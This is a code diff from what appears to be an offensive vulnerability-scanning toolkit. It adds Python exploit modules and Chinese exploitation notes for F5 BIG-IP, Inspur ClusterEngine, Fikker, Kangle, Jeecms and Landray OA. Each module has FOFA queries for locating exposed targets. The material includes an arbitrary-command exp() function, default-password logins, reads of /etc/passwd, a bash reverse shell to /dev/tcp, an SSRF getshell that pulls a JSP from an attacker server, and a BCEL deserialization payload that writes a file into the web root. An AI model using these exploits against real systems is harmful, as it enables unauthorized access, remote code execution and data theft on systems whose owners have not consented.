r = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
|
||||
|
||||
if "output" in r.text and r.status_code==200:
|
||||
c = json.loads(r.text)["output"]
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['data'] = c
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1/")
|
||||
41
Moudle/F5/CVE_2021_22986.py
Normal file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import json
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2021-22986'
|
||||
AUTHOR="Joker"
|
||||
REMARK='F5 BIG-IP 远程代码执行漏洞2'
|
||||
FOFA_RULE='title="BIG-IP® ;- Redirect"或icon_hash="-335242539"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url = target + "/mgmt/tm/util/bash"
|
||||
headers = {
|
||||
"Authorization": "Basic YWRtaW46QVNhc1M=",
|
||||
"X-F5-Auth-Token": "",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
data = '{"command":"run","utilCmdArgs":"-c id"}'
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.post(url=vuln_url, data=data,headers=headers, verify=False, timeout=5)
|
||||
if "commandResult" in r.text and r.status_code == 200:
|
||||
c = json.loads(r.text)["commandResult"]
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['data'] = c
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1/")
|
||||
50
Moudle/Fikker/Fikker_admin.py
Normal file
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import json
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Fikker_admin'
|
||||
AUTHOR="Trans"
|
||||
REMARK='fikker Console default password'
|
||||
FOFA_RULE='title=="转向 Fikker 管理平台"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result={}
|
||||
headers ={
|
||||
"User-Agent":ua,
|
||||
"Content-Type":"text/plain;charset=UTF-8",
|
||||
"Origin": target,
|
||||
"Referer": target+"/fikker/",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "en-US,en;q=0.9"
|
||||
}
|
||||
|
||||
data = {
|
||||
"RequestID":"LOGIN",
|
||||
"Username":"admin",
|
||||
"Password":"123456"
|
||||
}
|
||||
|
||||
try:
|
||||
target += "/fikker/webcache.fik?type=sign&cmd=in"
|
||||
r = requests.post(target ,headers = headers,data = data,verify=False,timeout=40)
|
||||
if r.status_code == 200 :
|
||||
text = json.loads(r.text)
|
||||
if text['Return'] == "True":
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['username'] = 'admin'
|
||||
result['password'] = '123456'
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1:6780")
|
||||
|
||||
76
Moudle/Inspur/CVE_2020_21224.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# 1、漏洞介绍
|
||||
浪潮 ClusterEngineV4.0 任意命令执行
|
||||
登录处抓包,然后闭合username字段重发引发报错
|
||||
远程攻击者可以将恶意登录数据包发送到控制服务器
|
||||
# 2、漏洞版本
|
||||
浪潮ClusterEngine V4.0
|
||||
# 3、fofa搜索
|
||||
title="TSCEV4.0"
|
||||
# 4、漏洞利用
|
||||
|
||||
```
|
||||
# POC测试(出现 root:x:0:0 则存在漏洞)
|
||||
|
||||
op=login&username=Wings`$(cat /etc/passwd)`
|
||||
{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user Wings does not exist\nerror:1\n"}
|
||||
|
||||
# 反弹shell
|
||||
op=login&username=Wings`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`
|
||||
```
|
||||
|
||||
登陆闭合字段username、执行命令并没有成功
|
||||
```
|
||||
POST /login HTTP/1.1
|
||||
Host: 127.0.0.1:8443
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Length: 60
|
||||
Origin: https://127.0.0.1:8443
|
||||
Connection: close
|
||||
Referer: https://127.0.0.1:8443/module/login/login.html
|
||||
Cookie: lang=cn
|
||||
|
||||
op=login&username=admin'ping xxxxxx.dnslog.cn&password=admin
|
||||
|
||||
HTTP/1.1 200
|
||||
Content-Type: text/json;charset=utf-8
|
||||
Date: Tue, 13 Apr 2021 06:40:42 GMT
|
||||
Connection: close
|
||||
Content-Length: 159
|
||||
|
||||
{"err":"/bin/sh: -c: line 0: unexpected EOF while looking for matching `''\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n","exitcode":1,"out":""}
|
||||
```
|
||||
|
||||
|
||||
|
||||
按照漂亮鼠星球思路可以,未做过滤,通过;可拼接命令
|
||||
```
|
||||
POST /alarmConfig HTTP/1.1
|
||||
Host: 127.0.0.1:8443
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Length: 55
|
||||
Origin: https://127.0.0.1:8443
|
||||
Connection: close
|
||||
Referer: https://127.0.0.1:8443/module/login/login.html
|
||||
Cookie: lang=cn
|
||||
|
||||
op=testPhone&alarmTestPhone=1;whoami&alarmTestMessage=2
|
||||
|
||||
|
||||
HTTP/1.1 200
|
||||
Content-Type: text/json;charset=utf-8
|
||||
Date: Tue, 13 Apr 2021 06:52:47 GMT
|
||||
Connection: close
|
||||
Content-Length: 1459
|
||||
|
||||
{"def":"root","erInfo":"./lt-gnokii: line 199: cd: /mnt/hgfs/share/alarm/ex_alarm_tstor/gnokii/gnokii-0.6.31/gnokii: No such file or directory\ngcc: error: gnokii-gnokii.o: No such file or directory\ngcc: error: gnokii-gnokii-calendar.o: No such file or directory\ngcc: error: gnokii-gnokii-dial.o: No such file or directory\ngcc: error: gnokii-gnokii-file.o: No such file or directory\ngcc: error: gnokii-gnokii-logo.o: No such file or directory\ngcc: error: gnokii-gnokii-mms.o: No such file or directory\ngcc: error: gnokii-gnokii-monitor.o: No such file or directory\ngcc: error: gnokii-gnokii-other.o: No such file or directory\ngcc: error: gnokii-gnokii-phonebook.o: No such file or directory\ngcc: error: gnokii-gnokii-profile.o: No such file or directory\ngcc: error: gnokii-gnokii-ringtone.o: No such file or directory\ngcc: error: gnokii-gnokii-security.o: No such file or directory\ngcc: error: gnokii-gnokii-settings.o: No such file or directory\ngcc: error: gnokii-gnokii-sms.o: No such file or directory\ngcc: error: gnokii-gnokii-todo.o: No such file or directory\ngcc: error: gnokii-gnokii-utils.o: No such file or directory\ngcc: error: gnokii-gnokii-wap.o: No such file or directory\ngcc: error: ../common/.libs/libgnokii.so: No such file or directory\ngcc: error: ../getopt/libgetopt.a: No such file or directoryn","cmd":"cd /var/tsced/tools/;./lt-gnokii --config ../config/sms.cf --dialvoice 1;whoami","status":"ok","info":"æµè¯æå"}
|
||||
```
|
||||
67
Moudle/Inspur/CVE_2020_21224.py
Normal file
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
import json
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE_2020_21224'
|
||||
AUTHOR="RabbitMask"
|
||||
REMARK='Inspur ClusterEngine V4.0 RCE'
|
||||
FOFA_RULE='title="TSCEV4.0"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result={}
|
||||
headers={
|
||||
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'X-Requested-With':'XMLHttpRequest',
|
||||
"User-Agent":ua
|
||||
}
|
||||
|
||||
data = {
|
||||
'op':'testPhone',
|
||||
'alarmTestPhone':'1;{}'.format('whoami'),
|
||||
'alarmTestMessage':'2'
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.post(target+"/alarmConfig",headers=headers, data=data, verify=False)
|
||||
res=json.loads(r.text)
|
||||
if res['def']:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['whoami'] = str(res['def'])
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
def exp(target,cmd):
|
||||
headers={
|
||||
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'X-Requested-With':'XMLHttpRequest',
|
||||
"User-Agent":ua
|
||||
}
|
||||
|
||||
data = {
|
||||
'op':'testPhone',
|
||||
'alarmTestPhone':'1;{}'.format(cmd),
|
||||
'alarmTestMessage':'2'
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.post(target+"/alarmConfig",headers=headers, data=data, verify=False)
|
||||
res=json.loads(r.text)
|
||||
print(res['def'])
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
exp("http://127.0.0.1","whoami")
|
||||
36
Moudle/Inspur/Inspur_Any_user_login.py
Normal file
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import sys
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Inspur_Any_user_login'
|
||||
AUTHOR="Faith"
|
||||
REMARK='浪潮任意用户登录漏洞'
|
||||
FOFA_RULE='title="TSCEV4.0"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
url = target + "/module/login/login.html"
|
||||
result = {}
|
||||
headers = {"User-Agent":ua}
|
||||
data = "op=login&username=admin|pwd&password=任意"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.post(url,data=data,headers=headers,verify=False,timeout=3)
|
||||
if r.status_code == 200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['url'] = url
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1:8443/")
|
||||
38
Moudle/Inspur/Inspur_sysShell_RCE.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecurePlatformWarning
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Inspur_sysShell_RCE'
|
||||
AUTHOR="Faith"
|
||||
REMARK='浪潮ClusterEngineV4.0 sysShell RCE'
|
||||
FOFA_RULE='title="TSCEV4.0"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
url = target + "/sysShell"
|
||||
headers = {
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Cookie": "lang=cn"
|
||||
}
|
||||
data = "op=doPlease&node=cu01&command=cat /etc/passwd"
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecurePlatformWarning)
|
||||
r = requests.post(url=url,headers=headers,data=data,verify=False,timeout=3)
|
||||
if 'root' in r.text and r.status_code ==200:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['url'] = url
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
if __name__ == '__main__':
|
||||
poc("https://127.0.0.1/")
|
||||
|
||||
57
Moudle/Jeecms/Jeecms_ssrf_getshell.md
Normal file
@@ -0,0 +1,57 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
jeecms V7版本的一个上传组件存在远程拉取图片的功能,并将远程拉取的文件保存在服务器上。但程序没有对远程文件的类型做好过滤,导致可从远程拉取任意格式的文件,可直接getshell。
|
||||
|
||||
V9版本做了修复,会对远程获取的文件后缀进行校验,并对上传的文件强行重命名。
|
||||
|
||||
# 2、漏洞复现
|
||||
|
||||
直接上POST包:
|
||||
|
||||
data数据中远程文件的后缀写为.jsp?.jpg是尝试绕过,虽然这样能上传上去,但是因强行文件重命名,传上去的也是一个图片。可直接尝试不带?.jpg去检查和利用。
|
||||
|
||||
```
|
||||
POST /ueditor/getRemoteImage.jspx HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 453
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Google Chrome";v="93", " Not;A Brand";v="99", "Chromium";v="93"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Windows"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: null
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUxAA9jVG2OHOQYo
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Sec-Fetch-Site: cross-site
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
|
||||
Content-Disposition: form-data; name="upfile"
|
||||
|
||||
http://vps:port/test1.jsp?.jpg
|
||||
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
|
||||
Content-Disposition: form-data; name="mark"
|
||||
|
||||
|
||||
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
|
||||
Content-Disposition: form-data; name="uploadfile"; filename="test1.jsp.jpg"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<%out.println("123");%>
|
||||
------WebKitFormBoundaryZUxAA9jVG2OHOQYo--
|
||||
|
||||
```
|
||||
|
||||
网站返回json格式的包含 远程图片抓取成功 以及url地址则证明存在漏洞
|
||||
|
||||
# 3、poc
|
||||
|
||||
因SSRF漏洞利用需要从远端获取信息,若要getshell,需要远端存在shell文件,所以poc需要修改poc_content方法中content参数里的url地址。
|
||||
|
||||
脚本中有个坑,post内容里的回车换行,这里用的\r\n表示的,直接回车换行请求会出问题,导致poc验证失败。
|
||||
46
Moudle/Jeecms/Jeecms_ssrf_getshell.py
Normal file
@@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='Jeecms_ssrf_getshell'
|
||||
AUTHOR="境心"
|
||||
REMARK='Jeecms ssrf漏洞'
|
||||
FOFA_RULE='app="JEECMS"'
|
||||
######################################################
|
||||
|
||||
def poc_content():
|
||||
content = """-----------------------------245629485030790359921083390342\r\nContent-Disposition: form-data; name="upfile"\r\n\r\nhttp://127.0.0.1:9699/test1.jsp\r\n-----------------------------245629485030790359921083390342--"""
|
||||
return content
|
||||
|
||||
def poc(targrt):
|
||||
result = {}
|
||||
url = targrt + "/ueditor/getRemoteImage.jspx"
|
||||
content = poc_content()
|
||||
headers = {
|
||||
"User-Agent":ua,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
||||
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
|
||||
"Accept - Encoding": "gzip, deflate",
|
||||
"Content-Type": "multipart/form-data; boundary=---------------------------245629485030790359921083390342",
|
||||
"Connection": "close"
|
||||
}
|
||||
res = requests.post(url, headers=headers, data=content, timeout=5, verify=False)
|
||||
res = res.text
|
||||
print(res)
|
||||
if "srcUrl" in res and "远程图片抓取成功" in res:
|
||||
result['message'] = res
|
||||
result['target_url'] = url
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("https://127.0.0.1")
|
||||
44
Moudle/Kangle/Kangle_Console_default_password.py
Normal file
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME = 'Kangle_Console_default_password'
|
||||
AUTHOR = "RabbitMask"
|
||||
REMARK = 'kangle Console default password'
|
||||
FOFA_RULE = 'app="kangle-easypanel"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result={}
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
}
|
||||
|
||||
data = {
|
||||
"username": "admin",
|
||||
"passwd": "kangle",
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.post(target + "/admin/index.php?c=session&a=login", headers=headers, data=data, verify=False, timeout=5,allow_redirects=False)
|
||||
if r.status_code==302:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['url'] = target+'/admin/index.php?c=session&a=login'
|
||||
result['username'] = 'admin'
|
||||
result['password'] = 'kangle'
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1:3312")
|
||||
37
Moudle/Landray/Landray_OA_anyfile_read.py
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
|
||||
########################################################################################################################
|
||||
# 脚本信息
|
||||
NAME='Landray_OA_anyfile_read'
|
||||
AUTHOR="Faith"
|
||||
REMARK='蓝凌OA custom.jsp 任意文件读取漏洞'
|
||||
FOFA_RULE='app="Landray-OA系统"'
|
||||
########################################################################################################################
|
||||
|
||||
def poc(target):
|
||||
result={}
|
||||
url = target + "/sys/ui/extend/varkind/custom.jsp"
|
||||
data = 'var={"body":{"file":"file:///etc/passwd"}}'
|
||||
# data = 'var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
r = requests.post(url=url,headers=headers,data=data,verify=False,timeout=3)
|
||||
if r.status_code == 200 and "root:x:0" in r.text:
|
||||
result["target"] = target
|
||||
result["poc"] = NAME
|
||||
result["url"] = url
|
||||
return result
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1/")
|
||||
|
||||
114
Moudle/Landray/Landray_OA_xmldecoder_getshell.md
Normal file
@@ -0,0 +1,114 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
蓝凌OA部分版本存在漏洞,前台即可实现RCE命令执行,直接getshell。
|
||||
|
||||
# 2、漏洞复现
|
||||
|
||||
# 2.1、生成payload
|
||||
|
||||
需要运行两段java代码,生成payload。
|
||||
|
||||
FastJsonEchoBCEL.java
|
||||
|
||||
更改shell变量的内容即可,将exp BASE64加密后替换(这里jdk要用低版本,否则无法导入BASE64Decoder包,貌似用jdk1.7、jdk1.8均可);
|
||||
|
||||
```java
|
||||
import java.io.PrintWriter;
|
||||
import sun.misc.BASE64Decoder;
|
||||
|
||||
public class FastJsonEchoBCEL {
|
||||
public FastJsonEchoBCEL() throws Exception {
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
new FastJsonEchoBCEL();
|
||||
}
|
||||
|
||||
static {
|
||||
try {
|
||||
Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");
|
||||
String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();
|
||||
PrintWriter printWriter2 = new PrintWriter(path.split("WEB-INF")[0] + "login_test.jsp");
|
||||
String shell = "PCVvdXQucHJpbnRsbigidGhpcyBpcyBhIGZyaWVuZGx5IHRlc3QsIFBsZWFzZSBjaGVjayBhbmQgcmVwYWlyIHZ1bG5lcmFiaWxpdGllcy4iKTslPg==";
|
||||
BASE64Decoder decoder = new BASE64Decoder();
|
||||
String decodeString = new String(decoder.decodeBuffer(shell), "UTF-8");
|
||||
printWriter2.println(decodeString);
|
||||
printWriter2.close();
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
main.java
|
||||
|
||||
这里需要使用maven导入org.apache.bcel包,具体方法见下面;
|
||||
|
||||
```
|
||||
import org.apache.bcel.Repository;
|
||||
import org.apache.bcel.classfile.JavaClass;
|
||||
import org.apache.bcel.classfile.Utility;
|
||||
import java.io.IOException;
|
||||
|
||||
public class main {
|
||||
|
||||
public static void main(String[] args) throws ClassNotFoundException, IOException {
|
||||
JavaClass javaClass = Repository.lookupClass(FastJsonEchoBCEL.class);
|
||||
String codes = Utility.encode(javaClass.getBytes(), true);
|
||||
System.out.println("$$BCEL$$"+codes);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
关于这两段代码如何运行,建议使用idea软件。本地新建一个文件夹,右键以idea的project方式打开。
|
||||
|
||||
在idea软件中,右键该名称的项目文件夹,新建-->新模块,选择Maven,点下一步,点完成创建成功。
|
||||
|
||||
将上面两端代码复制到本地文件中,文件名要与上面写的一样,然后两个文件复制到创建的src/main/java目录下。
|
||||
|
||||
打开pom.xml,将如下内容复制到文件中
|
||||
|
||||
```
|
||||
<dependencies>
|
||||
<!-- https://mvnrepository.com/artifact/org.apache.bcel/bcel -->
|
||||
<dependency>
|
||||
<groupId>org.apache.bcel</groupId>
|
||||
<artifactId>bcel</artifactId>
|
||||
<version>5.2</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
```
|
||||
|
||||

|
||||
|
||||
文件-->项目结构-->项目中,选择相应的jdk版本,然后执行main.java即可得到payload。
|
||||
|
||||
# 2.2、漏洞验证
|
||||
|
||||
POST:
|
||||
|
||||
将如上得到的payload替换下面<string></string>标签内的内容即可。
|
||||
|
||||
```
|
||||
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
Content-Length: 2907
|
||||
|
||||
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void+class%3d"com.sun.org.apache.bcel.internal.util.ClassLoader"><void+method%3d"loadClass"><string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$dbV$dbF$U$dd$D62B$E0$98KHI$934$N$Q$c0$N$974$e5$da$d8$60c0$E0$d8$b1iKeY$d8rdI$95d$Ci$ff$a7$cfy1$5de$ad$7e$40$7f$a8o$5d$3d$psu$dd$8b$d7$d2$5c$ce$ec$d9$3ag$9f$99$p$ff$fe$e7$af$bf$B$98$c5O$o$kbA$c0$a2$88$W$y$88X$c22oV$C$f8Z$c4kDDD$b1$wb$N1$Rq$ac$8bH$60C$c0$a6$80$a4$88N$y$E$b0$rb$Q$db$7c$f2$s$80$j$de$ef$8a$90$b0$X$40J$c0$be$88$7e$ce$7e$c0$fbt$A$Z$O$7e$cb$d7$b3$bc$c9$J8$U$f0$NC$db$a2fh$ee2C$eb$e8X$9a$c1$X5$L$wCWR3$d4$edj$r$af$da$fbr$5e$tK0i$w$b2$9e$96m$8d$cf$_$8d$3e$b7$a49$MO$93$8e$ad$84$x$b2f$84$cb$f2$89$ivU$c7$N$c7d$c7$ddpLcM$v$99$91$e8Zr$81A$5c$3bUT$cb$d5L$836$f98$9e$a1$7f$f40$e9m$d2e$a3$YN$b9$b6f$U$X$3cOd$bbH$b0$de$s$cb$M$81EE$bf$f2$5b$d1$J$d6s$L$V$d5e$c7$n$90$cf$92$dd$S$f7$bc$J$81d$d1$c0$cd$d8$9a$ab$da$d3$M$a1$3aF3$c3$3b7v$82$f9$9d$92$aa$eb$MBAUH$Y$9ba0$e9T$8dpEs$94p$e4uj$ed$e5$ecj$7d$85s$d6A$f5w0t$a6$5cYy$b7$r$5b$9eX$a47$J$902$ab$b6$a2$c64$$$5e$a8Q$a1$v$ee$83$84O$f1$88$e1$c9$ffPT$c0$b7$S$be$c3$91$84$ef$nS$ce$f2Ni$wa$90$e3$96$adR$x$m$_AAA$80$w$e1$YE$B$r$J$g$ca$C$deI$d0Q$R$60H0a$91$c6M$82g$Yh$94$zR$d5tO$D$n$b3$W$99Ll$c7$q$fc$A$5b$82$D$97$e1$9en$W5$e3H$d7$iw$aa$ecX$S$aa$b0x$y$t$M$eeN4$7dRx$bb$5bU$d67$ac$bc$b1$e7$e4$b5$a2V$88$97$y$e5$y$c2$9fR$o$9e$3b$933$e9j$$$7e$3a$97X$df$d3$95$99$5d$t$R$8b8$b9L$ecC$$$V$v$cb$f1tY$s$5c$be$b2$5bT$w$e9$f7$d9$8c$7e$96X$cf$bd$c8$c7$e7t$a5$S$d3$e4$cc$a9U$88$eb$bar6$abm$ee$3b$faNqi$89NV$f3D1t7$G$s$e1$3dN$v$d9$H$fb$b1$c9W$dc$e93$J$lp$o$e1G$9e$8a$de$h$f8$f5$f9$bdC$f2$s_V$V$f7$8ei$bfd$abr$81$ce$80R$b5m$d5p$af$e6$7d$a3c$c9F$U$9d$9cPQu$a3$s$a5$ee$d4$f5$Oo$d2$94$3dO$87$ee$c0o$z$f1$3dM$X$Y$dau$gx$W$ba$98$a3M$eeV$93$9b$d2$d5$60$a2$a0$c9$a3$j$dbt$v0$Kw$d5$ac_$d6$c7W$fe8$w$F$a6$b9g$e1F$M$91$8d$fc$3b$82D$f1$a2$a5$8b$e2$5d$G$86$H$7fc$bdY$r$be$c1$7fZc$e8$m$s$5e$97$$Sr$c5c$a8n$f8$60$8fW$i$e9$f6$9c$O$$$8f$ca$x$Kw$Tq$5d$W$fc$8e$a5k$94$cag$cd$84kZ$89$dad$cbR$NJ$ed$e4$7fh$7d$e7$O$f1$S$e6$9aW$95$o$d4lk$fa$ba$a0D$aa$c7$c7$3c$b3$fdM$9d$8a$d0M$j$3d$8c4g$Q$bc2$a7$938$7eE7$j$V$8f$e8$5b$f3$Q$fc$d7$K$c6K$N$cd$l$d3l$86f$8cz$ff$f89$d8G$g$b4$e0$J$b5$fc$d3$E$I$f0$n$80$cfh$q$d5Ax$8a$cf$a9$7fF$8f$8f$y$ph$c7$u$c6$$$a9$be$a4$9e$a3$da$_$d0$92$3dGk$a6$91$ae$83$c8$a4$5bt$ed$Y$c7$f3$3bt$BL$90g$8c$d3$b1Vz$5d$h$ad$94$7e$81$af$G$7f$b0$ad$Gas$bc$86$40$N$ed5$885t$q$_$me$_$d0I$_$bb$f7$3c$d8UCw$ebt$N$3d$c1$m55$f4$9e$a3o$x$Y$da$be$40$3f$B$G$e6$7d$X$Y$cc$O$f9$sk$Y$K$de$3f$c7$f0$bc$7fb$c8_$c3$83$89$g$3e$f9$Z$be$cd$8f$9eO$KU$cc$R$d2$88$7b$3dE$k$D$dd$e4m$P$ee$p$88E$f4b$F$7dXG$IY$fa$ba$ka$80$f0C$b4c$QE$M$7b$91$z$93$cf$S2$98$a4$dd$a0$5d$J$84$f1$F1$_R$94$_0M$3a$ac$Qn$86l$ad$c43L$7f$H$e6$u$f6$y$v$f4$92l$7e$S$91$eb$d2$f2$H$8e$F$bc$o$V$f0$95$t$e2$fc_$3f$bb$d2$b6$3e$I$A$A</string><void+method%3d"newInstance"></void></void></void></java>
|
||||
```
|
||||
|
||||
# 3、poc
|
||||
|
||||
payload需要手工单独生成。
|
||||
|
||||
